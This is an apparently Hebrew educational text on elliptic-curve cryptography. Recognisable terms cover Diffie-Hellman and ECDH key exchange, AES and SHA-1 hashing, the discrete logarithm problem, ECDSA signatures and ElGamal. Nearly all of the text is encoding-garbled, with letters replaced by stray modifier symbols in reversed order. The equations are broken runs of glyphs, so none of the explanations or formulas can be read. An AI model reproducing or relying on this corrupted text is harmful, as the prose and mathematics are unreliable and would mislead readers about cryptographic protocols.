 ˢˬˣ˵˰ˢ ˸˞ˣˣ˷ˬ ˧˩˶˰ ˧ˮ˷ ˸˞ (˶ˡ˥˟ ˫˧˷ˮ˞ˢ ˶˞˷ ˪˩˪ˣ)ὥȟὦ ˯ˣ˪ˣˡˣˬˢ ˸˞ ,ὴ ˶ˣ˦˶ˮˠˢ ˸˞ˣ ,Ὃ ˱˯ˣˮ˟ .

 ˣˢ˷˪˩ ˨˶˰ ˪˧˶ˠ˸ ˯˧˪˞ ,˨˩˪Ὠ ˟ ˫ˣ˥˸ρ Ὠ ὲ ρ  ˶˷˞˩ὲ  ˪˷ ˶ˡ˯ˢ ˞ˣˢὋ ˨˶˰ˢ .Ὠ  ˞˶˵ˮ

 ˢˡˣ˵ˮˢ ˸˞ ˟˷˥˸ ˯˧˪˞ .˯˧˪˞ ˪˷ ˧˦˶˲ˢ ˥˸˲ˬˢὃ ὨὋ ,˯˧˪˞ ˪˷ ˧˶ˣ˟˧˴ˢ ˥˸˲ˬˢ ˸˞˶˵ˮ˷ ,

 ˧˦˶˲ ˥˸˲ˬ ˪˧˶ˠ˧ ˟ˣ˟ ,ˢˬˣˡ ˭˲ˣ˞˟ .˟ˣ˟˪ ˢ˸ˣ˞ ˡ˧ˠ˸ˣὨ ˢˡˣ˵ˮˢ ˸˞ ˟˷˥˧ ,ὄ ὨὋ ˥˸˲ˬˢ ˞˧ˢ˷ ,

 ˪˷ ˧˶ˣ˟˧˴ˢ.˯˧˪˞˪ ˢ˸ˣ˞ ˡ˧ˠ˧ˣ ,˟ˣ˟ 

 ˢˡˣ˵ˮ˪ ˰˧ˠ˸ˣ ,ˢ˪˷ ˧˦˶˲ˢ ˥˸˲ˬ˟ ˣˤˢ ˢˡˣ˵ˮˢ ˸˞ ˪˧˲˩˸ ,˟ˣ˟ ˪˷ ˧˶ˣ˟˧˴ˢ ˥˸˲ˬˢ ˸˞ ˥˵˧˸ ˯˧˪˞

 ˸˧˷˧˪˷ὖ Ὠὄ ˥˸˲ˬ˟ ˢˡˣ˵ˮˢ ˸˞ ˪˧˲˩˧ ,˯˧˪˞ ˪˷ ˧˶ˣ˟˧˴ˢ ˥˸˲ˬˢ ˸˞ ˥˵˧ ˟ˣ˟ ,˭˲ˣ˞ ˣ˸ˣ˞˟ .

 ˣ˪˷ˬ ˸˧˷˧˪˷ ˢˡˣ˵ˮ˪ ˰˧ˠ˧ˣ ,ˣ˪˷ ˧˦˶˲ˢὖ Ὠὃ.  ˭ˢ˧˪˞ ˣ˰˧ˠˢ ˟ˣ˟ˣ ˯˧˪˞˷ ˸ˣˡˣ˵ˮˢ ˸˞ ˭˥˟ˮ ˫˞

 ˰ˣ˟˵˟ ˢˡˣ˵ˮ ˪˲˩ ˪˷ ˸ˣ˧˟˧˦˞˧˴ˣ˯˞ˢ ˸ˮˣ˩˸ˬ ˸˰˟ˣˮ ˣˤ ˢˡ˟ˣ˰ !ˢˡˣ˵ˮ ˢ˸ˣ˞˪ ˣ˰˧ˠˢ ˫ˢ˷ ˢ˪ˠˮ ,ˡ˶˲ˮ˟

:˫ˡˣ˵ ˣˮ˧˞˶˷ 

ὖ Ὠὄ Ὠ ὨὋ Ὠ ὨὋ Ὠὃ ὖ 

ˠˢ˪ ˣ˥˧˪˴ˢ ˟ˣ˟ˣ ˯˧˪˞ ,˨˧˪ˢ˸ˢ ˪˩ ˱ˣ˯˟ ˡ˥˞ ˱˞ ˟˪˷ ˫ˣ˷˟ˣ ,ˢˬˣ˵˰ˢ ˪˰ ˧ˢ˷˪˩ ˢˡˣ˵ˮ ˪˰ ˢˬ˩˯ˢ˪ ˰˧

 :˞ˣˢ ˣ˰ˬ˷ ˫˪ˣ˩˷ ˰ˡ˧ˬˢ .ˣˤˢ ˢˡˣ˵ˮˢ ˸˞ ˧ˮ˷˪ ˶˧˟˰ˢ ˞˪ ˫ˢˬὥȟὦȟὴȟὋȟὃȟὄ ˶ˡ˥˟ ˞˴ˬˮ˷ ˫ˡ˞ .

.ˢ˧˪˰ ˣˬ˧˩˯ˢ ˟ˣ˟ˣ ˯˧˪˞˷ ˢˡˣ˵ˮˢ ˸˞ ˣ˸˶ˤ˰˟ ˞ˣ˴ˬ˪ ˪ˣ˩˧ ˞˪ ,ˢˤˢ ˰ˡ˧ˬ˪ ˭˧ˤ˞ˢˣ 

ˢ˴˶˧ ˶ˡ˥˟ ˱˯ˣˮ ˫ˡ˞ ˫˞˷ ˞˧ˢ ˨˩˪ ˢ˟˧˯ˢ  ˥˸˲ˬˢ ˸˞ ˸˰ˡ˪ ˨˶˦˴˧ ˞ˣˢ ,ˣˤˢ ˢˡˣ˵ˮˢ ˸˞ ˞ˣ˴ˬ˪

 ˸˞ ˫ˢ˟ ˪˧˲˩ˢ˪ ˧ˡ˩ ,˟ˣ˟ ˪˷ ˧˦˶˲ˢ ˥˸˲ˬˢ ˸˞ ˣ˞ ˯˧˪˞ ˪˷ ˧˦˶˲ˢὄ  ˸˞ ˣ˞ὃ ˸˞ ˸ˣ˪ˠ˪ ˧ˡ˩ .

 ˪˰ ˪˩˸˯˧ ˞ˣˢ ,˪˷ˬ˪ ˯˧˪˞ ˪˷ ˧˦˶˲ˢ ˥˸˲ˬˢὃ ὨὋ "ˣ˩ˣ˸˟ ˪˧˩ˬ"ˣ ˶˟˰ˣˢ˷ ˡ˧˥˧ˢ ˰ˡ˧ˬˢ ˢˤ ˧˩ ,

 ˭˸ˮ˧ˢ˟ .˯˧˪˞ ˪˷ ˧˦˶˲ˢ ˥˸˲ˬˢ ˸˞Ὃ x-ὨὋ ˸˞ ˞ˣ˴ˬ˪ ,Ὠ  ˫˸˧˶ˠˣ˪ˢ ˸˧˧˰˟ ˸˞ ˶ˣ˸˲˪˪ ˪ˣ˵˷

.ˢ˷˵ ˢ˧˰˟ ˶ˣˬ˞˩ ˣˤ˷ ,˸ˣ˧˦˲˧˪˞ ˸ˣˬˣ˵˰˟ ˧˦˶˵˯˧ˡˢ 

 :˫˧˞˶ˣ˵ ˢˤˢ ˢ˲˧ˢ ˪ˣ˵ˣ˦ˣ˶˲˪Elliptic Curve Diffie-Hellman )ECDH.( 

 

˸˶ˣ˷˵˸ˢ ˨˷ˬˢ˪ ˱˸ˣ˷ˬˢ ˡˣ˯˟ ˷ˣˬ˧˷ 

 ˪˰ ˣˬ˧˩˯ˢ ˟ˣ˟ˣ ˯˧˪˞ ˫ˮˬ˞ .ˣˮ˪˷ ˶ˣ˲˧˯ˢ ˸˞ ˣˮˬ˧˧˯ ˞˪ ˞˪ ˭˧˧ˡ˰ ˯˧˪˞ ˨˞ ,˸˲˸ˣ˷ˬ ˸˧ˡˣ˯ ˢˡˣ˵ˮ

.ˢ˸˴˶ ˨˩ ˪˩ ˞˧ˢ˷ ˦˧˧ˡ˪ ˟ˣ˟ ˸˞ ˢˮ˧ˬˤˢ 

 ˪˷ ˢˮ˲˴ˢ ˥˸˲ˬ˩ ˢ˟ ˷ˬ˸˷ˢ˪ ˫˧˪ˣ˩˧ ˫ˢ ,˸˲˸ˣ˷ˬ ˸˧ˡˣ˯ ˢˡˣ˵ˮ ˪˰ ˫ˢ˧ˮ˧˟ ˣˬ˧˩˯ˢ ˫˧ˡˡ˴ˢ˷ ˧˶˥˞

 ˪˷ˬ˪ ,˧ˢ˷˪˩ ˢˮ˲˴ˢ ˸˦˧˷AES.˭˲˴ˣˬ ˭˲ˣ˞˟ ˫ˢ˧ˮ˧˟ ˶˟ˡ˪ ˰ˠ˶ˢ ˣ˸ˣ˞ˬˣ , 

ˢ ˧˩˶˰ˬ ˡ˥˞ ˸˞ ˸˥˵˪ ˠˣˢˮ ,˸˧˷˰ˬ-ὼ ˢ ˣ˞-ώ  ,˸ˣ˥˧˦˟ ˪˰ ˶ˣˬ˷˪ ˪˧˟˷˟ .ˣ˟ ˷ˬ˸˷ˢ˪ˣ ,ˢˡˣ˵ˮˢ ˪˷

 ˸ˣ˷˰˪ ˳˪ˬˣˬhash  ˨˶˰ˢ ˫˧ˬ˰˲˪ ,˪˰ˣ˲˟ .ˢˮ˲˴ˢ ˥˸˲ˬ˩ ˢ˞˴ˣ˸˟ ˵˶ ˷ˬ˸˷ˢ˪ˣ ˶˥˟ˮ˷ ˨˶˰ˢ ˪˰

ˢ ˸˧˧˴˵ˮˣ˲ ˫˞ ˪˷ˬ˪ .ˣˮˬˬ ˵˪˥˟ ˵˶ ˫˧˷ˬ˸˷ˬˣ ,ˢˮ˲˴ˢ ˥˸˲ˬ˪ ˧ˡˬ ˪ˣˡˠ ˪˟˵˸ˬ˷-hash 
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 ˞˧ˢ ˢ˟ ˫˧˷ˬ˸˷ˬ˷SHA-1 ˞ˣˢ ˢ˪˷ ˦˪˲ˢ ˨˶ˣ˞ ,мсл  ˸ˮ˲˴ˢ˪ ˡˣ˰˟ ,˫˧˦˧˟AES  ˵˶ ˫˧˷ˣ˶ˡмну 

˟ ˵˶ ˷ˬ˸˷ˢ˪ ˠˣˢˮ ˢˤ˩ ˢ˶˵ˬ˟ .˫˧˦˧˟-мну ˢ ˨ˣ˸ˬ ˫˧˦˧˟-мсл.˥˲˪ ˶˞˷ˢ ˸˞ ˵ˣ˶ˤ˪ˣ , 

 ˣˤ ˢˡˣ˵ˮˬ .ˣ˸ˣ˞ ˫˧˰ˡˣ˧˷ ˫˧ˡ˧˥˧ˢ ˫ˢˣ ,ˢˮ˲˴ˢ ˥˸˲ˬ ˪˰ ˫˧ˬ˧˩˯ˬ ˟ˣ˟ˣ ˯˧˪˞ ˢˤ ˟˪˷˟ ,ˢ˶˵ˬ ˪˩˟

 ˶ˡ˥˟ ˫ˢ˪ ˭˧ˤ˞ˬ˷ ˧ˬ ˪˩ˣ ,˭˲˴ˣˬ ˭˲ˣ˞˟ ˫˧˶˷˵˸ˬ ˫ˢ ˢ˞˪ˢˣ.˫˧˶ˬˣ˞ ˫ˢ ˢˬ ˭˧˟ˢ˪ ˪ˣ˩˧ ˞˪ 

:˪ˣ˵ˣ˦ˣ˶˲ˢ ˪˷ ˫˧˷˶˸ ˭˪ˢ˪ 

 

 ˶˥ˬ ˢ˲˵ ˸˧˟˟ ˡ˥˧˟ ˟˷ˮ˷ ˨˪ ˫˧˞˸ˬ ,˟ˣ˟ ˧˧ˢ" ˶˯ˬˢ ˸˞ ˢˮ˧˲˴ˬ ˯˧˪˞ ,˫˩˯ˣˬˢ ˥˸˲ˬˢ ˸˶ˤ˰˟

 ˢˣˣ˵ˬ ˯˧˪˞ .˫ˠ ˰ˡˣ˧ ˞ˣˢ˷ ˥˸˲ˬˢ ˸˶ˤ˰˟ ˶˯ˬˢ ˸˞ ˥ˮ˰˲ˬ ˟ˣ˟ .˟ˣ˟˪ ˭˲ˣ˴ˢ ˸˞ ˢ˶˧˟˰ˬˣ ,"?˟˶˰˟

˞˪ ˶˟˩ ˢˤ ˪˟˞ ,˟ˣ˧˥˟ ˢ˪ ˢˮ˰˧ ˟ˣ˟˷ .˪ˣ˵ˣ˦ˣ˶˲ˢˬ ˵˪˥ 

 ˭˧˟ ˭ˣ˧ˬ˧ˡˢElliptic Curve Diffie-Hellman ˪-Diffie-Hellman 

 ˪ˣ˵ˣ˦ˣ˶˲˟Diffie-Hellman )DH ˧ˮˣ˷˞˶ ˶˲˯ˬ ˧ˣ˪ˠ ˭˲ˣ˞˟ ˫˧˶ˡ˷ˬ ˫˧ˡˡ˴ˢ ,˫˯˶ˣ˲ˬˢ (ὴ  ˶ˣ˦˶ˮˠˣὫ 

 ˨˶˰˪ ˢˬ˧˞˸ˬˢ ˢ˶ˣ˟˥˟ ˞˴ˬˮ˷ὴ ˧˦˶˲ ˥˸˲ˬ ˢ˪˧˶ˠˬ ˯˧˪˞ .ὥ  ˸˞ ˧ˣ˪ˠ ˭˲ˣ˞˟ ˸˶ˡ˷ˬˣ ˧˞˶˵˞ ˭˲ˣ˞˟

ˬˢ ˢ˪˷ ˧˶ˣ˟˧˴ˢ ˥˸˲ὃ Ὣ άέὨ ὴ ˧˦˶˲ ˥˸˲ˬ ˪˧˶ˠˬ ˟ˣ˟ ˢˬˣˡ ˭˲ˣ˞˟ .ὦ  ˶ˡ˷ˬˣ ˧˞˶˵˞ ˭˲ˣ˞˟

 ˣ˪˷ ˧˶ˣ˟˧˴ˢ ˥˸˲ˬˢ ˸˞ ˧ˣ˪ˠ ˭˲ˣ˞˟ὄ Ὣ άέὨ ὴ ˪˷ ˧˶ˣ˟˧˴ˢ ˥˸˲ˬˢ ˸˞ ˸˥˵ˣ˪ ˯˧˪˞ ˭˩ˬ ˶˥˞˪ .

 ˨˶˰ˢ ˸˞ ˸˟˷˥ˬ ˨˩˟ˣ ,ˢ˪˷ ˧˦˶˲ˢ ˥˸˲ˬˢ ˸˵ˤ˥˟ ˣ˸ˣ˞ ˢ˪˰ˬˣ ,˟ˣ˟ὑ ὄ Ὣ
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Ὣ  άέὨ ὴ ˨˶˰ˢ ˸˞ ˟˷˥ˬ ˟ˣ˟ ˭˲ˣ˞ ˣ˸ˣ˞˟ .ὑ ὃ Ὣ Ὣ  άέὨ ὴ ˨˧˪ˢ˸ˢ ˱ˣ˯˟ .

 ˨˶˰ ˪˰ ˫˧˩˯ˢ˪ ˣ˥˧˪˴ˢ ˟ˣ˟ˣ ˯˧˪˞ὑ .˫ˢ˧ˮ˧˟ ˣ˸ˣ˞ ˣ˶ˡ˧˷˷ ˧˪˟ˬ ,˱˸ˣ˷ˬ 

 ˸˞ ˞ˣ˴ˬ˪ ˪ˣ˩˧ ˞˪ ˫ˢ˪ ˭˧ˤ˞ˬ˷ ˱˵ˣ˸ὑ  ˣ˶ˡˣ˷˷ ˫˧˩˶˰ˢ ˭˸ˮ˧ˢ˟ὴȟὫȟὃȟὄ ˨˶˦˴˧ ˞ˣˢ ,˸˞ˤ ˸ˣ˷˰˪ ˧ˡ˩ .

 ˞ˣˢ ,˪˷ˬ˪ ˯˧˪˞ ˪˷ ˥˸˲ˬˢ ˸˞ ˟˷˥˪ ˧ˡ˩ .˟ˣ˟ ˪˷ ˣ˞ ˯˧˪˞ ˪˷ ˫˧˧˦˶˲ˢ ˸ˣ˥˸˲ˬˢ ˡ˥˞ ˸˞ ˸ˣ˥˲˪

 ˸˞ ˞ˣ˴ˬ˪ ˨˶˦˴˧ὥ  ˭˸ˮ˧ˢ˟Ὣ x-Ὣ άέὨ ὴ ˫˸˧˶ˠˣ˪ˢ ˸˧˧˰˟ ˸˞˶˵ˮ ˣˤ ˢ˧˰˟ .ˢ˷˵ ˢ˧˰˟ ˸˞ˤˣ ,

 ,˧˦˶˵˯˧ˡˢDiscrete Logarithm Problem )DLP.( 

 ˭˧˟ ˶ˣ˶˟ ˡˣ˞ˬ ˭ˣ˧ˬ˧ˡ ˫˧˧˵DH ˪˰ ˯˯˟˸ˬ˷ ,DLP ˭˧˟˪ ,ECDH ˪˰ ˯˯˟˸ˬ˷ ,ECDLP  ˣ˸ˣ˞ ˫ˢ ˪ˣˡˠ˟)

 ˫˰ ˵˶ ,˶˟ˡEC  .(˧ˮ˲˪ ˨˶˰ ˣˢ˷ˤ˧˞ ˪˰ ˫˧˩˯ˢ˪ ˫˧˪ˣ˩˧ ˫ˢ˧ˮ˧˟ ˫˧˶˟ˡˬ˷ ˫˧ˡˡ˴ ˧ˮ˷ ,˫˧˪ˣ˵ˣ˦ˣ˶˲ˢ ˧ˮ˷˟

ˢ ˭˧˟ ˸ˣ˰ˡˣˢ˪ ˭˧ˤ˞˧˷ ˧ˬ ˪˩ .˶˟ˡ ˫ˣ˷ ˷˞˶ˬ ˫ˢ˧ˮ˧˟ ˣˬ˞˧˸ ˫ˢ˷ ˧˪˟ˬ ,˱˸ˣ˷ˬ ˧ˡˣ˯ ˱ˣ˷˥ ˢ˧ˢ˧ ˫˧ˡˡ˴

.˫ˢ˧ˮ˧˟ ˱˸ˣ˷ˬˢ ˧ˡˣ˯ˢ ˨˶˰˪ ˣˬ˴˰˟ ˰˧ˠˢ˪ ˪˩ˣ˧ ˞˪ ˨˞ ,˫ˢ˧ˮ˧˟ ˫˧˶˧˟˰ˬ ˫ˢ˷ ˧˟ˬˣ˲ˢ ˰ˡ˧ˬ˪ 

 

 ˸ˣ˧˦˲˧˪˞ ˸ˣˬˣ˵˰˪ ˧ˮ˷ ˷ˣˬ˧˷- ˢ˰ˡˣˢ ˪˰ ˢˬ˧˸˥ 

 ˸˪˟˵ˬ ˯˧˪˞ ˸˶˥ˬ˪ .ˡ˥˧˟ ˡˬ˥ˮ ˟˶˰ ˣ˪˧˟ˣ ˫ˢ˪˷ ˦˧˧ˡ˪ ˣ˞˴˧ ˟ˣ˟ˣ ˯˧˪˞˷ ˥˧ˮˮ ,ˣˮ˪˷ ˶ˣ˲˧˯ˢ ˸˞ ˨˧˷ˬˮ

˧˪˞ ˧˧ˢ" ˸˶ˬˣ˞˷ ˢ˰ˡˣˢ ˰ˣ˟˷ˢ ˱ˣ˯˟ ˟ˣ˷ ˨˸˧˞ ˷ˠ˲˧ˢ˪ ˥ˬ˷˞ˣ ˪ˣˬ˸˞ ˨˸˧˞ ˧˸ˮˢˮ ˡˣ˞ˬ ,˟ˣ˟ ˭˞˩ ,˯

 ˢ˸˧˞ ˢˮˢˮ ˨˩ ˪˩ ˟ˣ˟˷ ˸˰ˡˣ˧ ˞˧ˢ ˧˩ ,ˢ˰ˡˣˢˢ ˸˞ ˟˸˩˷ ˢˤ ˞ˣˢ ˟ˣ˟ ˞˪˷ ˸ˡ˷ˣ˥ ˯˧˪˞ ."˟ˣ˶˵ˢ

 ˯˧˪˞ ˨˧˞ !˶˥ˬ ˶˟˩ ˢ˸˧˞ ˷ˠ˲˧ˢ˪ ˢ˴˶˧ ˞˪˞ ,ˢ˸˧˞ ˷ˠ˲˧ˢ˪ ˰ˣ˟˷ˢ ˱ˣ˯ ˡ˰ ˢ˩˥˧ ˞˪ ˞ˣˢ˷ ,˪ˣˬ˸˞

 ˞ˣˢ ˟ˣ˟˷ ˞ˡˣˣ˪ ˪˩ˣ˸?ˢ˰ˡˣˢˢ ˸˞ ˟˸˩˷ ˢˤ 

!˟ˣ˷ ˫˧˵ˡˣ˴ ˫˸˞ ˤ˞ ,"˸ˣ˧˦˲˧˪˞ ˸ˣˬˣ˵˰" ˫˸˧ˮ˰ ˫˞ 

 ˸˧˧˰˟ ˪˷ ˧˷ˣ˵ˢ ˸˞ ˪˴ˮ˪ ˭˸˧ˮECDLP  ˯˧˪˞ˣ ˟ˣ˟ ,˫ˢ˪˷ ˦˧˧ˡˢ ˨˪ˢˬ˟ .˸ˣ˰ˡˣˢ ˪˰ ˫ˣ˸˥˪ ˧ˡ˩ ˫ˠ

 ˶ˣ˦˶ˮˠˣ ˧ˢ˷˪˩ ˸˧˦˲˧˪˞ ˢˬˣ˵˰ ˪˰ ˣˬ˧˩˯ˢὋ  ˣˢ˷˪˩ ˨˶˰ ˪˧˶ˠˢ ˟ˣ˟ .ˢ˟ ˞˴ˬˮ˷Ὠ ˥˸˲ˬˢ ˞˶˵ˮ˷ ,

˟ˣ˟ ˪˷ ˧˦˶˲ˢ ˢˡˣ˵ˮˢ ˸˞ ˟˷˧˥ˣ ,ὖ ὨὋ ˸˞ ˯˧˪˞˪ ˭˸ˮ ˟ˣ˟ .˟ˣ˟ ˪˷ ˧˶ˣ˟˧˴ˢ ˥˸˲ˬˢ ˸˞˶˵ˮ˷ ,

.ˣˡ˧ ˪˰ ˢˬ˸˥ˮ ˭˩˞ ˪˟˵˸ ˞˧ˢ˷ ˢ˰ˡˣˢ ˫˞ ˨˷ˬˢ˟ ˞ˡˣˣ˪ ˪˩ˣ˸ ˞˧ˢ ˣ˸˧˞˷ ˧ˡ˩ ˣ˪˷ ˧˶ˣ˟˧˴ˢ ˥˸˲ˬˢ 

 ˢ˰ˡˣˢ ˪˰ ˫ˣ˸˥˪ ˢ˴ˣ˶ ˟ˣ˟˷ ˥˧ˮˮά  ˨˶˰ˢ ˸˞ ˟˷˥˧ ˞ˣˢ .˸ˬ˧ˣ˯ˬᾀ ὬὥίὬά ˷ˣˬ˧˷ ˧ˡ˧ ˪˰ ,

˟ ˸˧˧˴˵ˮˣ˲hash  ˪˷ ˨˶ˣ˞˩ ˫˧˦˧˟ ˸ˣˬ˩ ˢ˞˴ˣ˸ˢˬ ˶ˣˬ˷˧ˣ ,˧ˢ˷˪˩ ˢ˥ˣ˦˟ὲ ˶ˣ˦˶ˮˠˢ ˪˷ ˶ˡ˯ˢ ,Ὃ ˟ˣ˟ .

 ˣˢ˷˪˩ ˨˶˰ ˪˧˶ˠ˧Ὧ  ˫ˣ˥˸˟ρ Ὧ ὲ ρ ˢˡˣ˵ˮˢ ˸˞ ˟˷˥˧ ˟ˣ˟ ˭˩ˬ ˶˥˞˪ .ὯὋ ὼȟώ ˸˞ ˥˵˧ ,

ˢ ˸˦ˮ˧ˡ˶ˣ˞ˣ˵-ὼ  ˸˞ ˟˷˥˧ˣ ,ˢ˪˷ὶ ὼ  άέὨ ὲ˸˞ ˟˷˥˧ ˟ˣ˟ ˱ˣ˯˟˪ .  ˨˶˰ˢί  Ὧ ᾀ ὶὨ .

 ˢ˰ˡˣˢˢ ˪˰ ˢˬ˧˸˥ˢά  ˫˧˩˶˰ˢ ˠˣˤ ˸ˣ˧ˢ˪ ˸˶ˡˠˣˬὶ x-ί .ˣ˟˷ˣ˥˷ 

 ˢ˰ˡˣˢ ˢ˪˟˧˵ ˯˧˪˞˷ ˥˧ˮˮά  ˠˣˤˬ ˸˟˩˶ˣˬ˷ ˢ˪˷ ˢˬ˧˸˥ˣ ,˸ˬ˧ˣ˯ˬ ˫˧˩˶˰ˢὶ x-ί ˞ˡˣˣ˪ ˢ˴ˣ˶ ˯˧˪˞ .

 ˸˞ ˟˷˥˸ ˯˧˪˞ .ˢ˰ˡˣˢˢ ˪˰ ˫˸˥˷ ˢˤ ˞ˣˢ ˟ˣ˟ ˭˩˞˷ ˨˶˰ˢᾀ ὬὥίὬά ˢˢˤ ˭˲ˣ˞˟  ˶˥˞˪ .˟ˣ˟˪

 ˫˧˩˶˰ˢ ˸˞ ˟˷˥˸ ˯˧˪˞ ˭˩ˬό ᾀί  ˸˞ˣό ὶί ˪˷ ˧˶ˣ˟˧˴ˢ ˥˸˲ˬ˟ ˷ˬ˸˷˸ ˯˧˪˞ ˱ˣ˯˟˪ .
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 ˟ˣ˟ὖ ˢˡˣ˵ˮˢ ˸˞ ˟˷˥˸ˣ ,όὋ όὖ ὼȟώ ˫˧˧˵˸ˬ ˫˞ ˸˧˵ˣ˥ ˟˷˥˧˸ ˢˬ˧˸˥ˢ .ὶḳ

ὼ άέὨ ὲˢ ˭ˣ˩ˮ ˢˤˢ ˟ˣ˷˧˥ˢ˷ ˢ˟˧˯ˢ .:˫˧˧˵˸ˬ˷ ˞˧ 

όὋ όὖ ᾀί Ὃ ὶί ὖ ί ᾀὋ ὶὖ ί ᾀὋ ὶὨὋ  

ί ᾀ ὶὨ Ὃ Ὧᾀ ὶὨ ᾀ ὶὨ Ὃ ὯὋ 

ˢ ˸˦ˮ˧ˡ˶ˣ˞ˣ˵ ,˸˧˵ˣ˥ ˢˬ˧˸˥ˢ ˫˞- ὼ ˸ˣ˧ˢ˪ ˢ˶ˣˬ˞ ˭˩˞ ˣˤˢ ˢˡˣ˵ˮˢ ˪˷ὶ ˶˰˷ ˧˲˩ ˸ˣ˧ˢ˪ ˶ˡˠˣˢ ˢˤ ˨

 ˶ˣ˦˶ˮˠˢ ˶ˡ˯˷ ˭˧˧˴˪ ˷˧ .ˢ˰ˡˣˢˢ ˪˰ ˢˬ˧˸˥˟Ὃ ˸ˣ˞˟ ˭ˬˣ˯ˬ˷ ,ὲ ˧ˡ˩ ˸˞ˤˣ ,˧ˮˣ˷˞˶ ˶˲˯ˬ ˸ˣ˧ˢ˪ ˨˧˶˴ ,

.˸ˣˬ˧˞ˢˣ ˢˬ˧˸˥ˢ ˸ˣ˞˥˯ˣˮ˟ ˫˧˧˩˲ˣˢˢ ˫˧˶˲˯ˬˢ ˸˞ ˟˷˥˪ ˶˷˲˞ ˢ˧ˢ˧ ˭˩˞˷ 

 ˧˦˶˲ˢ ˥˸˲ˬˢ ˸˞ ˵˧ˤ˥ˬ˷ ˧ˬ ˵˶˷ ˸ˣ˞˶˪ ˭˸˧ˮὨ ˶ˣ˟˰ ˸˧˵ˣ˥ ˢ˧ˢ˸˷ ˢˬ˧˸˥ ˶ˣ˴˧˪ ˪ˣ˩˧  ˥˸˲ˬˢ

 ˧˶ˣ˟˧˴ˢὖ ˨˶˰ˢ ˸˞ ˣ˪ ˭˧˞˷ ˱˵ˣ˸ .Ὠ ˨˶˰ ˟˷˥˪ ˪ˣ˩˧ ˞˪ ,ί  ˫˰ ˢˬ˧˸˥ˢ ˸ˣˬ˧˞˟˷ ˟ˣ˷˧˥˪ ˫˧˞˸˧˷

ὖˢˬ˧˞˸ˬ˷ ˢˬ˧˸˥ ˶ˣ˴˧˪ ˢ˴˶˧ ˱˵ˣ˸ˢ ˫˞ .  ˸˧˧˰˟ ˸˞ ˶ˣ˸˲˪ ˨˶˦˴˧ ˞ˣˢ ,˧ˢ˷˪˩ ˢ˰ˡˣˢ˪ECDLP ,

 ˧˦˶˲ˢ ˥˸˲ˬˢ ˸˞ ˞ˣ˴ˬ˪ ˶ˬˣ˪˩Ὠ  ˭˸ˮ˧ˢ˟Ὃ x-ὖ ὨὋ.ˢ˷˵ ˢ˧˰˟ ˣˤˣ , 

 ˞˶˵ˮ ˢˤˢ ˢˬ˧˸˥ˢ ˪ˣ˵ˣ˦ˣ˶˲Elliptic Curve Digital Signature Algorithm ˶ˣ˴˧˵˟ ˣ˞ ,ECDSA ˪ˣ˵ˣ˦ˣ˶˲ˢ .

 ˪ˣ˩˧ ˞˪ ˢ˰ˡˣˢˢ ˪˰ ˫˸˥˷ ˧ˬ˷ ˥˧˦˟ˬ ˨˩˪ ˱˯ˣˮ˟ˣ ,ˣ˲˧ˣˤ ˣ˞ ˣˮˣ˷ ˞˪ ˣˬ˸˥ˮ˷ ˸ˣ˰ˡˣˢˢ˷ ˥˧˦˟ˬ

.ˢ˸ˣ˞ ˶˴˧ ˞ˣˢ˷ ˨˩˪ ˷˥˩˸ˢ˪ 

 ˪ˣ˵ˣ˦ˣ˶˲˪ ˡˣˠ˧ˮ˟ECDHˡˡ˴ˢ ˣ˟˷ , ˪ˣ˵ˣ˦ˣ˶˲˟ ,˶˟ˡ ˫ˣ˷ ˷˞˶ˬ ˫ˢ˧ˮ˧˟ ˫˞˸˪ ˫˧˩˧˶˴ ˣ˧ˢ ˞˪ ˫˧ECDSA 

 ˧˶ˣ˟˧˴ˢ ˥˸˲ˬˢ˷ ˸ˣ˞ˡˣˣ˟ ˰ˡˣ˧ ˡ˴ ˪˩˷ ˧˶˥˞ ˵˶ .˧˶ˣ˟˧˴ ˥˸˲ˬ ˪˰ ˷˞˶ˬ ˫˧˩˯ˢ˪ ˫˧˟˧˧˥ ˫˧ˡˡ˴ˢ

 ˭˧˞ ,˸˶˥˞ .˪ˣ˵ˣ˦ˣ˶˲˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮ ,ˣ˸˧˞ ˶˷˵˸˪ ˢ˴ˣ˶ ˞ˣˢ˷ ˫ˡ˞˪ ˫˧˞˸ˬ ˭˩˞ ˣˡ˧˟ ˵˧ˤ˥ˬ ˞ˣˢ˷

˰ ˢˬ˧˸˥ˢ ˸ˣˬ˧˞˪ ˸ˣ˰ˬ˷ˬ ˫ˣ˷.ˡ˴ ˪˩ ˸ˣ˷˶˟ ˷˧˷ ˧˶ˣ˟˧˴ˢ ˥˸˲ˬˢ ˫ 

 ˧˶ˣ˟˧˴ˢ ˥˸˲ˬˢ˷ ˸ˣ˞ˡˣˣ˟ ˸˰ˡˣ˧ ˯˧˪˞ .ˣˮ˪˷ ˶ˣ˲˧˯˪ ˢ˶ˤ˥˟ὖ  ˶˯ˬ ˟ˣ˟ ˧˩ ,˟ˣ˟˪ ˨˧˧˷ ˭˩˞ ˢ˸ˣ˷˶˟˷

 !˭˟ˣˬ˩ .ˢˬ˞˸ˢ ˭˧˞˷ ˢ˪ˠˬˣ ˢ˰ˡˣˢˢ ˸˞ ˣ˸˶ˤ˰˟ ˸ˬ˞˪ ˢ˯ˮˬ ˯˧˪˞ .˫ˢ˪˷ ˦˧˧ˡ˟ ˷˶ˣ˲ˬ˟ ˣ˸ˣ˞ ˢ˪

˧˲˩ ˵ˣ˧ˡ˟ ,ˢ˧˪˰ ˫˸˥ˣ ˢ˰ˡˣˢˢ ˸˞ ˟˸˩ ˶˥˞ ˣˢ˷˧ˬ .ˢˡ˷˥ ˯˧˪˞˷ 
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:˪ˣ˵ˣ˦ˣ˶˲ˢ ˪˷ ˫˧˷˶˸ ˭˪ˢ˪ 

 

 

 ˭˧˟ ˭ˣ˧ˬ˧ˡˢECDSA ˪-ElGamal 

 ˪ˣ˵ˣ˦ˣ˶˲˟ElGamal  ˪ˣˡˠ ˧ˮˣ˷˞˶ ˶˲˯ˬ ˪˰ ˫˧ˬ˧˩˯ˬ ˫˧ˡˡ˴ˢ ,˸ˣ˰ˡˣˢ ˪˰ ˢˬ˧˸˥˪ὴ  ˶ˣ˦˶ˮˠ ˶˲˯ˬˣὫ .

 ˣˢ˷˪˩ ˨˶˰ ˪˧˶ˠˬ ˸ˣ˰ˡˣˢ ˪˰ ˫ˣ˸˥˪ ˭˧˧ˮˣ˰ˬ˷ ˡ˴ˢὨ  ˫ˣ˥˸˟ρ Ὠ ὴ ρ ,˧˦˶˲ˢ ˥˸˲ˬˢ ˞˶˵ˮ˷ ,

